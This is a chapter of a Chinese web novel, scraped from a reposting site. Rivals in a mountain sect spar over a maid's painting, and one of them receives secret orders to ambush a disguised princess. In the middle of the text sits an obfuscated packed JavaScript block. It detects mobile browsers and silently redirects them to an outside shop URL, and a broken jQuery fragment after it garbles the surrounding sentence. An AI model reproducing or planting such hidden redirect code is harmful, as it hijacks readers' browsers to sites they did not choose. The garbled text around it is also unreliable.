文趣网 > 其他小说 > 弈天机 > 34. 九州清晏(15)
    乔师微心里一咯噔,面上不显,悄声绕到他背后。

    现在还是上午,孟萌姜绛都在研讨殿……江朔来这里送完东西也就罢了,鬼鬼祟祟到别人窗下看画,定有猫腻。

    江朔脸上的神情很微妙,嘴角带着点平时的弧度,眸子里映这些芙蕖本身的亮色,眼底却依旧是很深的黑。

    他似乎是过于专注了,连乔师微本人的靠近都没发现。

    乔师微也不急,索性双手抱臂杵他身后,一张画而已,静待他看完就是,顺便摸摸他是何居心。

    就过了十几秒,江朔终于把画卷重新收好,一转身,差点和乔师微撞上:

    “你……”

    出人意料的,乔师微第一次在他脸上看到没来得及粉饰的慌张神色。

    然而江朔毕竟是江朔,调整好表情只是一眨眼的事。乔师微稍一晃神,眼前人就恢复了平素令人讨厌的气定神闲,兴致缺缺地开口道:

    “乔大人过来了,也不招呼一声,倒是惊到在下了。”

    “江大人心中若无鬼,那自是有底气,和来惊吓之说。”

    乔师微不依不饶对上他的目光,手指向他手里的画卷:

    “这九州清晏大弟子,完成了山主的任务却不立刻回去复命,在外宗弟子的生活区随意晃悠也就罢了,还拿起人家姑娘的画把玩……江大人这是在干什么?”

    这问话颇有些咄咄逼人的架势。乔师微心里舒畅了不少――平时只有江朔堵她的份儿,没想到今日还有机会反击。

    江朔也是见招拆招,把画放回窗内的桌上,再朝乔师微做了个揖:

    “……乔大人误会了。此事说来话长,不知乔大人可有接触过一只通体蓝黑的鸟?”

    什么?

    乔师微没想到江朔会主动提起这事,一时没反应过来,愣住了。

    江朔不知是不是误会了她,开口的语气迟疑了些:

    “……乔大人若没印象,那这解释起来就有些麻烦……”

    “有印象,我见过的。我和孟萌都见过。”

    “那就对了。”

    江朔似乎是松了口气,这才开始娓娓道来:

    “此族灵鸟名为玄乌鹊,本是北箕王室独有的灵物。十数年前北箕国灭,九州清晏在王城废墟中拾到只受损鸟蛋……山里长辈查尽各种办法,终于将此鸟孵化,取名木枝,一直养着。这小东西的脑子有些先天不足,喜欢啄些色泽鲜艳的东西,还和生人过不去,屡教不改。这画上面有木枝的气息,在下只是担心那傻鸟不小心将画损坏,特此查看而已。望乔大人恕罪。”

    严丝合缝,滴水不漏。

    ……不知是不是她的错觉,顺便还一石二鸟,消除她对九州清晏勾结端王的猜忌。

    北箕是端王灭的……要是除了那只鸟蛋,还有完好的,落入端王手里为他所用再正常不过。

    这解释……要不是乔师微见他看画入了神,她还真信了。

    检查粗粗扫过一遍就够了,他怕是看出了什么,脸上才那种神色。

    难道是……玉芝?

    一道猜想涌上乔师微心头。

    他不会……看出来了姜绛的身份?

    她决定再探探。

    “江大人此心昭昭,自然无罪。若是无事,您请回吧,山主还等您复命呢。”

    说着她作势转身。

    果不其然,江朔开了口,状似漫不经心地问出一句:

    “只是这芙蕖,画得的确出色……这墨的浓淡,明暗,写意与工笔的结合,用色也实在大胆。没想到东尧的一个侍女都如此深藏不露。这画技,能赶上十年的画匠了吧。”

    不出乔师微所料。

    此人看起来是在夸赞玉芝的画技,实则是对她的身份有所怀疑:

    一个侍女,平日里都是在伺候主子端茶倒水,就算作为伴读随着主子学画,也不该有如此才干,不然早脱颖而出了。

    “那我替玉芝多谢江大人夸奖了。”

    乔师微不卑不亢地应下。

    江朔点点头,又补充道:

    “这画风的确有淮南味,想是受过高人指点。”

    ……又来。

    江朔此人就是这样。随口一句,就逼得她搜肠刮肚找话搪塞。

    盛安帝姬的“特色”在整个东尧都有一定名气――姜绛其他才艺平平,但画技可是由全淮南最顶尖的画师团倾囊相授,她本人的天赋兴趣都不弱,能画出个名堂,倒比侍女苦学的合理。

    江朔走南闯北,博闻强识,对这种事不说了若指掌,至少也略有印象。

    要是他再结合玉芝昂贵的面纱……能推出些什么,也不是不可能。

    但这也没什么要紧。

    从郑鸳一事来看,此人和她有一点相同:

    没得到确切证据以前,一切只能是猜疑,不能下定论。

    只不过他这种人,大不了用一些非常手段,搞到有分量的“实锤”便是。

    江朔大抵也呆够了,依礼告了别,背对她走了几步,又突然想起什么似的缓缓转过头:

    “那我告辞了。乔大人也要注意身体。”

    什么?

    怎么突然扯到“注意身体”来了?

    乔师微颅内思维风暴骤然被打断,那边江朔已气定神闲四平八稳上了山,不一会儿就只剩下了个月白小点,还融入天光和云雾,再难辨别。

    罢了。管他什么事。

    时辰还早。乔师微决定回到研讨殿,把今日的事部分分享给孟萌和姜绛。

    *

    江朔上了山,还未进山主殿,身前榕树忽地扑棱棱一番,掉下只黑乎乎的绒球来。

    “木叶?”

    江朔挑眉,有些诧异。

    木叶落在他摊开的手掌中,腿上还绑了纸条。

    江朔把纸条展开,迅速扫过,眼神倏忽凌厉起来。

    “……这个时候。”

    江朔脸黑得吓人,但手上动作未停,把纸条叠好放入怀中,推开了山主殿的门。

    木叶叽叽喳喳地跟后面。

    “回来了?……咦,木叶也在?端王那边有什么事?”

    山主这次在批文书,看到木叶时明显吃了惊,笔尖差点晕出个墨团来。

    “你要先听好事还是坏事?”

    江朔搬出主位台阶下的第一把椅子坐下,语气介于严肃和散漫之间,恰如其分。

    萧巘哑然失笑:

    “你这小子,都这时候了,还有心情和老夫玩?”

    “没有。但这事有些特别,您要不猜猜?”

    “……先说好事吧。”

    “好事是,你我都关心的那小孩儿要来。”

    “……他?你确定?”

    萧巘索性放下笔,目光严肃地盯着他:

    “这种情景下来……怕是来者不善。”

    “放心好了。来者善不善,他说了不算,那个人的命令才作数。”

    江朔放松地靠着背,试图往后仰,奈何毕竟是坐椅不是躺椅,差点后背着地,再结合萧巘警示般的目光,这才讪讪坐正。

    他没有立刻回答。只是盯着角落里的鸟巢。

    木叶一进屋就直冲鸟巢

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771306|208817||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,圆滚滚的身体着了地,仍是不安地叫着,试图寻找什么。

    两人沉寂的时候,屋外的另一个声音才鲜明了起来。

    也是鸟叫。

    不过更大,更急。

    窗户敞开着,翅膀扑棱棱的声儿传来,映入眼帘的是一个偏蓝的毛团,外形和木叶别无二致,只是要大一圈。

    木枝。

    木枝虽然大,但飞得并不稳,摇摇晃晃进了窝。木叶倒是亲热地迎了上来,一下一下替它理着羽毛。

    两个毛茸茸旁若无人地凑一起,叽啾叽啾的,一派岁月静好。把江朔都逗笑了。

    他还笑着,但已经出了神。嘴角的弧度还在,眼里的落寞却一现而过。

    “江朔,江朔――魏停川。”

    “……在。”

    最后一个名字出来,他才猛地清醒过来,有些苦涩地盯了萧巘一眼。

    “……干嘛?”

    “正事说完。”

    萧巘敛容肃色,见他恍惚,也是心下不忍,长叹了口气:

    “待到事了,这两只鸟都是你的。现在是何苦……”

    “我没事。继续说下去吧。”

    江朔骤然出言打断,脸上神情也恢复如常,拿出怀里的纸条开始念。

    “‘盛安帝姬在东尧使团内,兹带杀部精锐十三人于散会日伏击,死活不忌’……上面来的任务,是谁写的,也不用我说了吧。”

    “盛安帝姬……在九州清晏?”

    萧巘的表情恍如吃了苍蝇般,欲言又止欲说还休。

    “就那个叫玉芝的侍女……明显是明显,但那个人并不在这里,怎么知道的,我也无从而知。”

    “那十三人……你要带他来?”

    “不然呢?那小子服了解药,一个人留在暗城杀部,万一撞上麻烦,我还得给他收尸――啊不,万一麻烦再大些,我俩连同言部那边都得尸骨无存了。”

    江朔说得轻松,眼神却一直钉在萧巘脸上。

    萧巘皱了皱眉,继续问了下去:

    “那对于这个任务,你要如何落实?真要再我的地盘杀东尧的帝姬不成?”

    老先生表情严肃里带着警惕,明显是不想这里再出人命。

    何况还是东尧的盛安帝姬。

    出了岔子,绝不会被轻易姑息。

    “山主放心好了。就算是动手,也不会在九州清晏境内的。上面那人不至于如此蠢笨。”

    江朔站起身来。

    墙角鸟巢的两只毛团都已入了睡,你侬我侬的,特别安详。

    他笑了笑。

    “那你……当真要认真执行这个任务?”

    萧巘不依不饶,又追问了句。

    这次不是怕了。是……担忧。

    “是。这个任务,和江朔无关。动手的人,只是魏停川。”

    “你真要动手?”

    “为何不能?这么多年,我动手的次数还少吗?不差这一次。”

    萧巘不吭声了。

    江朔自觉话已说完,拱手告辞。

    他对着鸟巢拍了拍手,木叶瞬间惊醒,屁颠屁颠飞来,落在他肩上。

    江朔推开殿门。

    春阳灿烂,微风无云。

    他眯了眯眼,第一步踏出了门槛。

    萧巘的声音从背后一丈处遥遥传来,带着颤:

    “停川。在这条路上走了那么多年,你当真觉得值吗?”

    江朔的步子停了又走,嘴角的弧度提起又落下,最终开口回答:

    “值不值……我看不出来。我只是习惯了。”